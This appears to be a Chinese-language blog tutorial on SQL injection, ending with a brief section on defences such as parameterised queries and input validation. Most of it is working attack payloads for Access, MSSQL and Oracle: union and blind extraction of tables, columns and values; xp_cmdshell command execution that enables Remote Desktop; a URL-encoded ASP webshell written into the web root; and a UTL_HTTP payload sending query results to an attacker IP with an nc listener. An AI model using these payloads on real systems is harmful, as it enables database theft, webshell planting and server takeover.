SQL注入详解

1:什么是SQL注入

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

 www.xx.com/news.php?id=1  www.xx.com/news.php?id=1 and 1=1

这里我们来理解一下SQL注入

首先,SQL注入常年蝉联OWASP排行榜第一名~

SQL注入产生的过程是怎样的呢?见下图

SQL注入的危害有哪些呢?

  数据库信息泄露   网页篡改   网站被挂马   数据库被恶意操作   服务器被远程控制   破坏硬盘数据。。。。

2 我们来学习一下sql注入的方法

2.1取消友好HTTP错误消息

一般通过远程测试判断是否存在SQL注入,所以通常没有机会通过查看源代码来复查注入的查询结构。这导致经常需要通过推理来进行大量测试

   打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。    打开“高级”选项卡,在设置列表中找到“浏览”组,    取消勾选”显示友好HTTP错误信息”复选框 。如下图

2.2寻找SQL注入

最常用的SQL注入判断方法,在网站中寻找如下形式的网页    www.chinaliancheng.com/*.asp?id=1    www.chinaliancheng.com/*.aspx?id=1    www.chinaliancheng.com/*.php?id=1    www.chinaliancheng.com/*.jsp?id=1 单引号法    提交单引号,页面返回错误    and 1=1 and 1=2   提交and 1=1 页面返回正常 ,提交and 1=2 页面返回错误

2.3确认注入点

区分数字和字符串    数字型    SELECT *FROM user WHERE id=1    SELECT * FROM user WHERE id > 1    带引号类型的    SELECT * FROM user WHERE name = ‘admin’    SELECT * FROM user WHERE date > ‘2017-5-3’

内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。

终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。

3:识别数据库

3.1:数据库连接运算符

www.xx.com/news.php?uid=admin www.xx.com/news.php?uid=ad’+’min www.xx.com/news.php?uid=ad’’min www.xx.com/news.php?uid=ad||min

3.2 Access数据库注入

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0   Sysobjects为Mssql数据库内置表 and (select count(*) from msysobjects)>=0   Msysobjects为Access数据库内置表

Access手工注入猜解

猜表名    and exists(select * from 表名)    and(select count(*) from 表名)>=0

猜字段名    and exists(select 字段名 from 表名)    and (select count(字段名) from 表名)>=0 猜字段长度    and (select top 1 len(字段名) from 表名)>1    and (select top 1 len(字段名) from 表名)>2    and (select top 1 len(字段名) from 表名)>n

猜字段值   and (select top 1 asc(mid (字段名,1,1)) from 表名)>0   and (select top 1 asc(mid (字段名,1,1)) from 表名)>1   and (select top 1 asc(mid (字段名,1,1)) from 表名)>n   and (select top 1 asc(mid (字段名,2,1)) from 表名)>0   and (select top 1 asc(mid (字段名,2,1)) from 表名)>2   and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

Order by 猜字段数目

  Order by 1   Order by 2   Order by n

Union select 获取段内容   Union select 1,字段名,2,…,n from 表名

3.3 Mssql数据库注入

在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以确定后面的攻击实施方案。 注入点类型的判断    and exists (select * from sysobjects) 注入点权限判断    and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员    and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限    and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限

返回信息判断    and @@version>0 //数据库信息    ;declare @d int //判断MsSQL支持多行语句查询    and (select count(1) from [sysobjects])>=0 //是否支持子查询    and user>0 //获取当前数据库用户名    and 1=convert(int,db_name()) 或 1=(select db_name()) //当前数据库名    and 1=(select @@servername) //本地服务名    and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

检查扩展存储    检查xp_cmdshell扩展存储    and 1=(select count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')    检查xp_regread扩展存储    and 1=(select count(*) FROM master.dbo.sysobjects where name = 'xp_regread')

恢复扩展存储    删除xp_cmdshell    exec master..sp_dropextendedproc'xp_cmdshell'    创建xp_cmdshell    exec master..sp_addextendedprocxp_cmdshell,'xplog70.dll‘    该语句利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell。    如果xplog70.dll被删除或改名,可以自定义路径进行恢复:    exec master..sp_addextendedproc'xp_cmdshell','c:\xplog70.dll'

Sa权限下扩展存储攻击利用方法    Xp_cmdshell扩展执行任意命令    执行任意命令    ;exec master..xp_cmdshell 'dir c:\‘    开启3389     exec master..xp_cmdshell 'sc config termservice start=auto‘     exec master..xp_cmdshell 'net start termservice'     exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'

利用sp_makewebtash写入一句话木马    exec sp_makewebtask 'c:\inetpub\wwwroot\c.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22% 63%68%6F%70%70%65%72%22%29%25%3E'''

Dbowner权限下的扩展攻击利用    判断数据库用户权限    and 1=(select is_member('db_owner'));    搜索Web目录    创建一个临时表    create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));    利用xp_dirtree扩展查询    insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1    查询表中的内容    and(select dir from temp where id=1)>0

查询暴库的另一种方法    暴字段名和字段值    增加数字n的值,就可以得到表中所有字段    and (select col_name(object_id(‘表名'),n))=0    获取字段内容    and (select top 1 字段名 from 表名)>0    爆其他字段值    and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0

3.4 Oracle数据库注入

Oracle注入点判断    and 1=1 and 1=2    /*    --    ;    and exists(select * from dual)    and exists(select count(*) from user_tables)>0

注入点信息判断    确定注入点类型后,与前面的MySQL注入一样,先用order by 猜出字段数目,再用联合查询union select方法获取想要的信息。 获取数据库版本信息    and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual 获取当前数据库连接用户名    and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER') fromdual) from dual 获取系统平台    and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual 获取服务器SID    and 1=2 union select null,null,(select instance_namefrom v$instance) from dual

爆库名    and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual 爆出第一个库名后可以使用如下语句,继续爆其他库名    and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第一个库名') from dual 获取表名    and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual 爆其他表名    and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名') from dual 注意:表名要用大写或大写的十六进制代码。

获取字段名   and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual 获取其他字段名    and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一个字段' and rownum=1) from dual  获取字段内容    and 1=2 union select null,null,字段名 from 表名

判断UTL_HTTP存储过程是否可用    and exists(select count(*) from all_objectswhere object_name='UTL_HTTP') 监听本地端口    nc –vv –l –p 8888    UTL_HTTP反弹注入    and UTL_HTTP.request('http://IP:端口号/'||(查询语句))=1

4 注入工具介绍

5 防御sql注入

 使用参数化查询

PHP包含很多用于访问数据库的框架。访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PDO)框架,他们均为使用参数化语句提供便利。

输入验证

验证应用接收到的输入时一种可用的功能强大的控制手段(如果用的好的话)。

白名单    使用白名单应该开了下列要点:    数据类型:字符、数字等;    数据大小:字符串长度是否正确,数字的大小和精度是否正确。    数据范围:如果 是数字型,是否位于该数据类型期望的数字范围。    数据内容:数据是否属于期望的数据类型,如手机号码,它是否瞒住期望的值。 黑名单    黑名单验证的常用方法也是使用正则表达式。

编码输入与使用存储过程防御

除了验证应用受到的输入以外,通常还需要对在应用的不同模块或部分传递的内容进行编码。

通常会被忽视的情况是对来自数据库的信息进行编码,尤其是当正在使用的数据库未经过严格验证或审查,或者来自第三方数据源时。

将应用设计成专门使用存储过程来访问数据库是一种可以放置或减轻SQL注入影响的技术。存储 过程是保存在数据库汇总的程序。根据数据库的不同,可以使用很多不同语言及其变体来编写存储过程

传送门--渗透测试_利用Burp爆破用户名与密码

Google 搜索引擎语法

提供全套渗透测试资料

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 入侵常用端口详解

    第三方通用组件漏洞struts thinkphp jboss ganglia zabbix 

    飞天小子
  • 必须掌握的阶梯式性能指标监听!

    我们在进行阶梯式压力测试的时候,聚合报告生成的结果是一个汇总数据。并不会阶梯式的统计压测性能数据。这样我们就不能去对比不同阶梯压力下的性能数据变化趋势。

    飞天小子
  • Jmeter(六)_前置处理器

    使用BeanShell在请求进行之前进行操作。语法使用与BeanShell Sampler是一样的。但可使用的内置变量稍有不同  龙渊阁测试开发家园: 3177...

    飞天小子
  • Parse Mail Header fo

    最近因为公司是做邮件行业的,所以用Python 写了一个登录邮箱 imap的程序,主要功能是 登录到相应的邮件地址,查找邮件在收件箱还是垃圾箱等,并提取邮件头的...

    py3study
  • MySQL与Python交互入门

    进行python与mysql的交互需要安装pymysql库,安装也很简单,常规的pip install pymysql就可以了。

    数据森麟
  • 自定义注解实现权限管理框架或其它功能扩充

    在进行springMVC进行J2EE项目开发时,spring及第三方的如Shiro等为我们快速实现某个功能提供了注解标签,配置和使用都及其简单

    肖哥哥
  • 性能优化之查询转换 - 子查询类

    作者简介 ? 韩锋 精通包括Oracle、MySQL、informix等多种关系型数据库,有丰富的数据库架构设计开发经验。就职于宜信。 子查询,是SQL中常...

    数据和云
  • 0458-Hive数据类型校验问题分析

    使用Hive时大家都会遇到数据类型校验的问题,相比传统关系型数据库会严格要求数据的Schema,数据的列数、每一列的字段类型都有严格的规定,因此数据的存储必须按...

    Fayson
  • js实现截图并保存图片(html转canvas、canvas转image)

    从入门到进错门
  • jQuery选择器大全

    选择器是jQuery最基础的东西,本文中列举的选择器基本上囊括了所有的jQuery选择器,也许各位通过这篇文章能够加深对jQuery选择器的理解,它们本身用法...

    Isaac Zhang

扫码关注云+社区

领取腾讯云代金券